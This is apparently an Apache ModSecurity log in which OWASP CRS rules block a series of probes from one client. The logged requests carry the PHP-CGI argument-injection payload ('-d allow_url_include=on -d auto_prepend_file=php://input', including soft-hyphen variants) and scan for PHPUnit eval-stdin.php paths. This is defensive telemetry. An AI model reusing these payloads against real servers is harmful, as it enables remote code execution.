[Sun Oct 25 05:34:26.269072 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "at3NIg-YVEbWS5meiuhg2gAAAAw"]
[Sun Oct 25 05:34:26.270111 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NIg-YVEbWS5meiuhg2gAAAAw"]
[Sun Oct 25 05:34:26.548264 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at3NIg-YVEbWS5meiuhg2wAAAAw"]
[Sun Oct 25 05:34:26.548362 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at3NIg-YVEbWS5meiuhg2wAAAAw"]
[Sun Oct 25 05:34:26.548817 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at3NIg-YVEbWS5meiuhg2wAAAAw"]
[Sun Oct 25 05:34:26.549784 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NIg-YVEbWS5meiuhg2wAAAAw"]
[Sun Oct 25 05:34:26.705729 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NIg-YVEbWS5meiuhg3AAAAAw"]
[Sun Oct 25 05:34:26.705864 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NIg-YVEbWS5meiuhg3AAAAAw"]
[Sun Oct 25 05:34:26.706378 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NIg-YVEbWS5meiuhg3AAAAAw"]
[Sun Oct 25 05:34:26.707271 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NIg-YVEbWS5meiuhg3AAAAAw"]
[Sun Oct 25 05:34:26.869375 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "at3NIg-YVEbWS5meiuhg3QAAAAw"]
[Sun Oct 25 05:34:26.869460 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "at3NIg-YVEbWS5meiuhg3QAAAAw"]
[Sun Oct 25 05:34:26.869834 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "at3NIg-YVEbWS5meiuhg3QAAAAw"]
[Sun Oct 25 05:34:26.870644 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NIg-YVEbWS5meiuhg3QAAAAw"]
[Sun Oct 25 05:34:27.020247 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NIw-YVEbWS5meiuhg3gAAAAw"]
[Sun Oct 25 05:34:27.020395 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NIw-YVEbWS5meiuhg3gAAAAw"]
[Sun Oct 25 05:34:27.020868 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at3NIw-YVEbWS5meiuhg3gAAAAw"]
[Sun Oct 25 05:34:27.021784 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NIw-YVEbWS5meiuhg3gAAAAw"]
[Sun Oct 25 05:34:27.177610 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NIw-YVEbWS5meiuhg3wAAAAw"]
[Sun Oct 25 05:34:27.178030 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NIw-YVEbWS5meiuhg3wAAAAw"]
[Sun Oct 25 05:34:27.178920 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NIw-YVEbWS5meiuhg3wAAAAw"]
[Sun Oct 25 05:34:27.364548 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3NIw-YVEbWS5meiuhg4AAAAAw"]
[Sun Oct 25 05:34:27.365017 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3NIw-YVEbWS5meiuhg4AAAAAw"]
[Sun Oct 25 05:34:27.365951 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NIw-YVEbWS5meiuhg4AAAAAw"]
[Sun Oct 25 05:34:27.629095 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NIw-YVEbWS5meiuhg4QAAAAw"]
[Sun Oct 25 05:34:27.629586 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NIw-YVEbWS5meiuhg4QAAAAw"]
[Sun Oct 25 05:34:27.630576 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NIw-YVEbWS5meiuhg4QAAAAw"]
[Sun Oct 25 05:34:27.858165 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3NIw-YVEbWS5meiuhg4gAAAAw"]
[Sun Oct 25 05:34:27.858773 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3NIw-YVEbWS5meiuhg4gAAAAw"]
[Sun Oct 25 05:34:27.859967 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NIw-YVEbWS5meiuhg4gAAAAw"]
[Sun Oct 25 05:34:28.093327 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at3NJA-YVEbWS5meiuhg4wAAAAw"]
[Sun Oct 25 05:34:28.093788 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at3NJA-YVEbWS5meiuhg4wAAAAw"]
[Sun Oct 25 05:34:28.094675 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJA-YVEbWS5meiuhg4wAAAAw"]
[Sun Oct 25 05:34:28.286158 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJA-YVEbWS5meiuhg5AAAAAw"]
[Sun Oct 25 05:34:28.286645 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJA-YVEbWS5meiuhg5AAAAAw"]
[Sun Oct 25 05:34:28.287596 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJA-YVEbWS5meiuhg5AAAAAw"]
[Sun Oct 25 05:34:28.458932 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJA-YVEbWS5meiuhg5QAAAAw"]
